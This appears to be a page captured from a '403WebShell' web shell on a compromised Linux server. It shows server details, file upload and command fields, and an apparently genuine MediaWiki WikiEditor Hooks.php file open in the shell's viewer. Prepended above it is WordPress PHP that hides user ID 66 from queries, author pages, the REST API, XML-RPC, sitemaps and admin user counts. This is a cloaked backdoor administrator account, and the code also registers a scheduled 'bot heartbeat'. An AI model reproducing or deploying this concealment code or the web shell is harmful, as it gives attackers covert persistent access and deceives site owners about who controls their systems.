add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/WikiEditor/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/WikiEditor/includes/Hooks.php
<?php
/**
 * Hooks for WikiEditor extension
 *
 * @file
 * @ingroup Extensions
 */

namespace MediaWiki\Extension\WikiEditor;

use MediaWiki\Api\ApiMessage;
use MediaWiki\Cache\CacheKeyHelper;
use MediaWiki\ChangeTags\Hook\ChangeTagsListActiveHook;
use MediaWiki\ChangeTags\Hook\ListDefinedTagsHook;
use MediaWiki\Config\Config;
use MediaWiki\Content\Content;
use MediaWiki\Context\RequestContext;
use MediaWiki\EditPage\EditPage;
use MediaWiki\Extension\ConfirmEdit\Hooks as ConfirmEditHooks;
use MediaWiki\Extension\EventLogging\EventLogging;
use MediaWiki\Hook\EditPage__attemptSave_afterHook;
use MediaWiki\Hook\EditPage__attemptSaveHook;
use MediaWiki\Hook\EditPage__showEditForm_fieldsHook;
use MediaWiki\Hook\EditPage__showEditForm_initialHook;
use MediaWiki\Hook\EditPageGetPreviewContentHook;
use MediaWiki\Hook\RecentChange_saveHook;
use MediaWiki\Html\Html;
use MediaWiki\MediaWikiServices;
use MediaWiki\Output\OutputPage;
use MediaWiki\Page\Article;
use MediaWiki\Preferences\Hook\GetPreferencesHook;
use MediaWiki\RecentChanges\RecentChange;
use MediaWiki\Registration\ExtensionRegistry;
use MediaWiki\Request\WebRequest;
use MediaWiki\ResourceLoader as RL;
use MediaWiki\Status\Status;
use MediaWiki\User\Options\UserOptionsLookup;
use MediaWiki\User\User;
use MediaWiki\User\UserEditTracker;
use MediaWiki\WikiMap\WikiMap;
use MessageLocalizer;
use MobileContext;
use MWCryptRand;
use WikimediaEvents\WikimediaEventsHooks;

/**
 * @phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName
 */
class Hooks implements
	EditPage__showEditForm_initialHook,
	EditPage__showEditForm_fieldsHook,
	GetPreferencesHook,
	EditPage__attemptSaveHook,
	EditPage__attemptSave_afterHook,
	EditPageGetPreviewContentHook,
	ListDefinedTagsHook,
	ChangeTagsListActiveHook,
	RecentChange_saveHook
{

	/** @var string|bool ID used for grouping entries all of a session's entries together in EventLogging. */
	private static $statsId = false;

	/** @var string[] */
	private static $tags = [ 'wikieditor' ];

	private Config $config;
	private UserEditTracker $userEditTracker;
	private UserOptionsLookup $userOptionsLookup;
	private ?MobileContext $mobileContext;

	public function __construct(
		Config $config,
		UserEditTracker $userEditTracker,
		UserOptionsLookup $userOptionsLookup,
		?MobileContext $mobileContext
	) {
		$this->config = $config;
		$this->userEditTracker = $userEditTracker;
		$this->userOptionsLookup = $userOptionsLookup;
		$this->mobileContext = $mobileContext;
	}

	/**
	 * Should the current session be sampled for EventLogging?
	 *
	 * @param string $sessionId
	 * @return bool Whether to sample the session
	 */
	protected function inEventSample( string $sessionId ): bool {
		// Sample 6.25%
		$samplingRate = $this->config->has( 'WMESchemaEditAttemptStepSamplingRate' ) ?
			$this->config->get( 'WMESchemaEditAttemptStepSamplingRate' ) : 0.0625;

		// (T314896) Convert whatever we've been given to a string of hex, as that's what EL needs
		$hexValue = hash( 'md5', $sessionId, false );

		$inSample = EventLogging::sessionInSample(
			(int)( 1 / $samplingRate ), $hexValue
		);
		return $inSample;
	}

	/**
	 * Log stuff to the eventlogging_EditAttemptStep stream in a shape that conforms to the
	 * analytics/legacy/editattemptstep schema.
	 *
	 * If the EventLogging extension is not loaded, then this is a NOP.
	 *
	 * @see https://meta.wikimedia.org/wiki/Schema:EditAttemptStep
	 *
	 * @param string $action
	 * @param Article $article Which article (with full context, page, title, etc.)
	 * @param array $data Data to log for this action
	 * @return void
	 */
	public function doEventLogging(
		string $action,
		Article $article,
		array $data = []
	): void {
		if ( defined( 'MW_PHPUNIT_TEST' ) ) {
			return;
		}

		$extensionRegistry = ExtensionRegistry::getInstance();
		if ( !$extensionRegistry->isLoaded( 'EventLogging' ) || !$extensionRegistry->isLoaded( 'WikimediaEvents' ) ) {
			return;
		}
		if ( $extensionRegistry->isLoaded( 'MobileFrontend' ) && $this->mobileContext ) {
			if ( $this->mobileContext->shouldDisplayMobileView() ) {
				// on a MobileFrontend page the logging should be handled by it
				return;
			}
		}
		$inSample = $this->inEventSample( $data['editing_session_id'] );
		$shouldOversample = WikimediaEventsHooks::shouldSchemaEditAttemptStepOversample( $article->getContext() );

		$user = $article->getContext()->getUser();
		$page = $article->getPage();
		$title = $article->getTitle();
		$revisionRecord = $page->getRevisionRecord();
		$skin = $article->getContext()->getSkin();

		$data = [
			'action' => $action,
			'version' => 1,
			'is_oversample' => !$inSample,
			'editor_interface' => 'wikitext',
			// @todo FIXME for other than 'desktop'. T249944
			'platform' => 'desktop',
			'integration' => 'page',
			'page_id' => $page->getId(),
			'page_title' => $title->getPrefixedText(),
			'page_ns' => $title->getNamespace(),
			'revision_id' => $revisionRecord ? $revisionRecord->getId() : 0,
			'user_id' => $user->getId(),
			'user_is_temp' => $user->isTemp(),
			'user_editcount' => $this->userEditTracker->getUserEditCount( $user ) ?: 0,
			'mw_version' => MW_VERSION,
			'skin' => $skin ? $skin->getSkinName() : null,
			'is_bot' => $user->isRegistered() && $user->isBot(),
			'is_anon' => $user->isAnon(),
			'wiki' => WikiMap::getCurrentWikiId(),
		] + $data;

		if ( $user->isAnon() ) {
			$data['user_class'] = 'IP';
		}

		if ( !$inSample && !$shouldOversample ) {
			return;
		}

		EventLogging::submit(
			'eventlogging_EditAttemptStep',
			[
				'$schema' => '/analytics/legacy/editattemptstep/2.0.2',
				'event' => $data,
			]
		);
	}

	/**
	 * Log stuff to EventLogging's Schema:VisualEditorFeatureUse -
	 * see https://meta.wikimedia.org/wiki/Schema:VisualEditorFeatureUse
	 * If you don't have EventLogging and WikimediaEvents installed, does nothing.
	 *
	 * @param string $feature
	 * @param string $action
	 * @param Article $article Which article (with full context, page, title, etc.)
	 * @param string $sessionId Session identifier
	 * @return bool Whether the event was logged or not.
	 */
	public function doVisualEditorFeatureUseLogging(
		string $feature,
		string $action,
		Article $article,
		string $sessionId
	): bool {
		$extensionRegistry = ExtensionRegistry::getInstance();
		if ( !$extensionRegistry->isLoaded( 'EventLogging' ) || !$extensionRegistry->isLoaded( 'WikimediaEvents' ) ) {
			return false;
		}
		$inSample = $this->inEventSample( $sessionId );
		$shouldOversample = WikimediaEventsHooks::shouldSchemaEditAttemptStepOversample( $article->getContext() );
		if ( !$inSample && !$shouldOversample ) {
			return false;
		}

		$user = $article->getContext()->getUser();
		$editCount = $this->userEditTracker->getUserEditCount( $user );
		$data = [
			'feature' => $feature,
			'action' => $action,
			'editingSessionId' => $sessionId,
			// @todo FIXME for other than 'desktop'. T249944
			'platform' => 'desktop',
			'integration' => 'page',
			'editor_interface' => 'wikitext',
			'user_id' => $user->getId(),
			'user_is_temp' => $user->isTemp(),
			'user_editcount' => $editCount ?: 0,
		];

		// NOTE: The 'VisualEditorFeatureUse' event was migrated to the Event Platform and is no
		//  longer using the legacy EventLogging schema from metawiki. $revId is actually
		//  overridden by the EventLoggingSchemas extension attribute in
		//  WikimediaEvents/extension.json.
		return EventLogging::logEvent( 'VisualEditorFeatureUse', -1, $data );
	}

	/**
	 * EditPage::showEditForm:initial hook
	 *
	 * Adds the modules to the edit form
	 *
	 * @param EditPage $editPage the current EditPage object.
	 * @param OutputPage $outputPage object.
	 */
	public function onEditPage__showEditForm_initial( $editPage, $outputPage ) {
		if ( $editPage->contentModel !== CONTENT_MODEL_WIKITEXT ) {
			return;
		}

		$article = $editPage->getArticle();
		$request = $article->getContext()->getRequest();

		// Add modules if enabled
		$user = $article->getContext()->getUser();
		if ( $this->userOptionsLookup->getBoolOption( $user, 'usebetatoolbar' ) ) {
			$outputPage->addModuleStyles( 'ext.wikiEditor.styles' );
			$outputPage->addModules( 'ext.wikiEditor' );
			if ( $this->config->get( 'WikiEditorRealtimePreview' ) ) {
				$outputPage->addModules( 'ext.wikiEditor.realtimepreview' );
			}
		}

		// Don't run this if the request was posted - we don't want to log 'init' when the
		// user just pressed 'Show preview' or 'Show changes', or switched from VE keeping
		// changes.
		if ( ExtensionRegistry::getInstance()->isLoaded( 'EventLogging' ) && !$request->wasPosted() ) {
			$data = [];
			$data['editing_session_id'] = self::getEditingStatsId( $request );
			$section = $request->getRawVal( 'section' );
			if ( $section !== null ) {
				$data['init_type'] = 'section';
			} else {
				$data['init_type'] = 'page';
			}
			if ( $request->getHeader( 'Referer' ) ) {
				if (
					$section === 'new'
					|| !$article->getPage()->exists()
				) {
					$data['init_mechanism'] = 'new';
				} else {
					$data['init_mechanism'] = 'click';
				}
			} else {
				if (
					$section === 'new'
					|| !$article->getPage()->exists()
				) {
					$data['init_mechanism'] = 'url-new';
				} else {
					$data['init_mechanism'] = 'url';
				}
			}
			if ( $request->getRawVal( 'wvprov' ) === 'sticky-header' ) {
				$data['init_mechanism'] .= '-sticky-header';
			}

			$this->doEventLogging( 'init', $article, $data );
		}
	}

	/**
	 * EditPage::showEditForm:fields hook
	 *
	 * Adds the event fields to the edit form
	 *
	 * @param EditPage $editPage the current EditPage object.
	 * @param OutputPage $outputPage object.
	 */
	public function onEditPage__showEditForm_fields( $editPage, $outputPage ) {
		$outputPage->addHTML(
			Html::hidden(
				'wikieditorUsed',
				'',
				[ 'id' => 'wikieditorUsed' ]
			)
		);

		if ( $editPage->contentModel !== CONTENT_MODEL_WIKITEXT
			|| !ExtensionRegistry::getInstance()->isLoaded( 'EventLogging' ) ) {
			return;
		}

		$req = $outputPage->getRequest();
		$editingStatsId = self::getEditingStatsId( $req );

		$shouldOversample = ExtensionRegistry::getInstance()->isLoaded( 'WikimediaEvents' ) &&
			WikimediaEventsHooks::shouldSchemaEditAttemptStepOversample( $outputPage->getContext() );

		$outputPage->addHTML(
			Html::hidden(
				'editingStatsId',
				$editingStatsId,
				[ 'id' => 'editingStatsId' ]
			)
		);

		if ( $shouldOversample ) {
			$outputPage->addHTML(
				Html::hidden(
					'editingStatsOversample',
					1,
					[ 'id' => 'editingStatsOversample' ]
				)
			);
		}
	}

	/**
	 * GetPreferences hook
	 *
	 * Adds WikiEditor-related items to the preferences
	 *
	 * @param User $user current user
	 * @param array &$defaultPreferences list of default user preference controls
	 */
	public function onGetPreferences( $user, &$defaultPreferences ) {
		// Ideally this key would be 'wikieditor-toolbar'
		$defaultPreferences['usebetatoolbar'] = [
			'type' => 'toggle',
			'label-message' => 'wikieditor-toolbar-preference',
			'help-message' => 'wikieditor-toolbar-preference-help',
			'section' => 'editing/editor',
		];
		$defaultPreferences['wikieditor-realtimepreview'] = [
			'type' => 'api',
		];
	}

	/**
	 * @param RL\Context $context
	 * @param Config $config
	 * @return array
	 */
	public static function getModuleData( RL\Context $context, Config $config ): array {
		return [
			// expose magic words for use by the wikieditor toolbar
			'magicWords' => self::getMagicWords(),
			'signature' => self::getSignatureMessage( $context ),
			'realtimeDebounce' => $config->get( 'WikiEditorRealtimePreviewDebounce' ),
			'realtimeDisableDuration' => $config->get( 'WikiEditorRealtimeDisableDuration' ),
		];
	}

	/**
	 * @param RL\Context $context
	 * @param Config $config
	 * @return array
	 */
	public static function getModuleDataSummary( RL\Context $context, Config $config ): array {
		return [
			'magicWords' => self::getMagicWords(),
			'signature' => self::getSignatureMessage( $context, true ),
			'realtimeDebounce' => $config->get( 'WikiEditorRealtimePreviewDebounce' ),
			'realtimeDisableDuration' => $config->get( 'WikiEditorRealtimeDisableDuration' ),
		];
	}

	/**
	 * @param MessageLocalizer $ml
	 * @param bool $raw
	 * @return string
	 */
	private static function getSignatureMessage( MessageLocalizer $ml, bool $raw = false ): string {
		$msg = $ml->msg( 'sig-text' )->params( '~~~~' )->inContentLanguage();
		return $raw ? $msg->plain() : $msg->text();
	}

	/**
	 * Expose useful magic words which are used by the wikieditor toolbar
	 * @return string[][]
	 */
	private static function getMagicWords(): array {
		$requiredMagicWords = [
			'redirect',
			'img_alt',
			'img_right',
			'img_left',
			'img_none',
			'img_center',
			'img_thumbnail',
			'img_framed',
			'img_frameless',
		];
		$magicWords = [];
		$factory = MediaWikiServices::getInstance()->getMagicWordFactory();
		foreach ( $requiredMagicWords as $name ) {
			$magicWords[$name] = $factory->get( $name )->getSynonyms();
		}
		return $magicWords;
	}

	/**
	 * Gets a 32 character alphanumeric random string to be used for stats.
	 * @param WebRequest $request
	 * @return string
	 */
	private static function getEditingStatsId( WebRequest $request ): string {
		$fromRequest = $request->getRawVal( 'editingStatsId' );
		if ( $fromRequest !== null ) {
			return $fromRequest;
		}
		if ( !self::$statsId ) {
			self::$statsId = MWCryptRand::generateHex( 32 );
		}
		return self::$statsId;
	}

	/**
	 * This is attached to the MediaWiki 'EditPage::attemptSave' hook.
	 *
	 * @param EditPage $editPage
	 */
	public function onEditPage__attemptSave( $editPage ) {
		$article = $editPage->getArticle();
		$request = $article->getContext()->getRequest();
		$statsId = $request->getRawVal( 'editingStatsId' );
		if ( $statsId !== null ) {
			$this->doEventLogging(
				'saveAttempt',
				$article,
				[ 'editing_session_id' => $statsId ]
			);
		}
	}

	/**
	 * This is attached to the MediaWiki 'EditPage::attemptSave:after' hook.
	 *
	 * @param EditPage $editPage
	 * @param Status $status
	 * @param array $resultDetails
	 */
	public function onEditPage__attemptSave_after( $editPage, $status, $resultDetails ) {
		$article = $editPage->getArticle();
		$request = $article->getContext()->getRequest();
		$statsId = $request->getRawVal( 'editingStatsId' );
		if ( $statsId !== null ) {
			$data = [];
			$data['editing_session_id'] = $statsId;

			if ( $status->isOK() ) {
				$action = 'saveSuccess';

				if ( $request->getRawVal( 'wikieditorUsed' ) === 'yes' ) {
					$this->doVisualEditorFeatureUseLogging(
						'mwSave', 'source-has-js', $article, $statsId
					);
				}
			} else {
				$action = 'saveFailure';

				// Compare to ve.init.mw.ArticleTargetEvents.js in VisualEditor.
				$typeMap = [
					'badtoken' => 'userBadToken',
					'assertanonfailed' => 'userNewUser',
					'assertuserfailed' => 'userNewUser',
					'assertnameduserfailed' => 'userNewUser',
					'abusefilter-disallowed' => 'extensionAbuseFilter',
					'abusefilter-warning' => 'extensionAbuseFilter',
					'captcha' => 'extensionCaptcha',
					'spamblacklist' => 'extensionSpamBlacklist',
					'titleblacklist-forbidden' => 'extensionTitleBlacklist',
					'pagedeleted' => 'editPageDeleted',
					'editconflict' => 'editConflict'
				];

				$errors = $status->getErrorsArray();
				// Replicate how the API generates error codes, in order to log data that is consistent with
				// all other tools (which save changes via the API)
				if ( isset( $errors[0] ) ) {
					$code = ApiMessage::create( $errors[0] )->getApiCode();
				} else {
					$code = 'unknown';
				}

				$wikiPage = $editPage->getArticle()->getPage();

				if ( ExtensionRegistry::getInstance()->isLoaded( 'ConfirmEdit' ) ) {
					$key = CacheKeyHelper::getKeyForPage( $wikiPage );
					/** @var SimpleCaptcha $captcha */
					$captcha = ConfirmEditHooks::getInstance();
					$activatedCaptchas = $captcha->getActivatedCaptchas();
					if ( isset( $activatedCaptchas[$key] ) ) {
						// TODO: :(
						$code = 'captcha';
					}
				}

				$data['save_failure_message'] = $code;
				$data['save_failure_type'] = $typeMap[ $code ] ?? 'responseUnknown';
			}

			$this->doEventLogging( $action, $article, $data );
		}
	}

	/**
	 * Log a 'preview-nonlive' action when a page is previewed via the non-ajax full-page preview.
	 *
	 * @param EditPage $editPage
	 * @param Content &$content Content object to be previewed (may be replaced by hook function)
	 * @return bool|void True or no return value to continue or false to abort
	 */
	public function onEditPageGetPreviewContent( $editPage, &$content ) {
		// This hook is only called for non-live previews, so we don't need to check the uselivepreview user option.
		$editingStatsId = $editPage->getContext()->getRequest()->getRawVal( 'editingStatsId' );
		if ( $editingStatsId !== null ) {
			$article = $editPage->getArticle();
			$this->doVisualEditorFeatureUseLogging( 'preview', 'preview-nonlive', $article, $editingStatsId );
		}
	}

	/**
	 * @param string[] &$tags
	 * @return bool|void
	 */
	public function onChangeTagsListActive( &$tags ) {
		$this->registerTags( $tags );
	}

	/**
	 * @param string[] &$tags
	 * @return bool|void
	 */
	public function onListDefinedTags( &$tags ) {
		$this->registerTags( $tags );
	}

	/**
	 * @param string[] &$tags
	 */
	protected function registerTags( array &$tags ): void {
		$tags = array_merge( $tags, static::$tags );
	}

	/**
	 * @param RecentChange $recentChange
	 * @return bool|void
	 */
	public function onRecentChange_save( $recentChange ) {
		$request = RequestContext::getMain()->getRequest();
		if ( $request->getRawVal( 'wikieditorUsed' ) === 'yes' ) {
			$recentChange->addTags( 'wikieditor' );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit